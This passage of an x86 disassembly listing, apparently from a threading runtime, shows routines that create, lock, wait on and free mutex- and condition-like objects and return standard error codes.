loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 233EA68h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0CCE89050h
		dd 500235F6h, 9050D3FFh, 33EA95E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 33F0A5E8h
		dd 28468902h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2760C10h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		call	near ptr 7C901005h
		nop
		mov	esi, dword_447708
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447708, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447708
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447708, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		call	near ptr 2760A29h
		nop
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 2780540h
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2790921h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 2790000h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		call	near ptr 27705FCh
		nop
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0E868E890h
		dd 7E830234h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 278043Ch
		nop
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27705FCh
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 34E731E8h
		dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		call	near ptr 27806A6h
		nop
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 27806A6h
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		call	near ptr 27806A6h
		nop
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 278043Ch
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
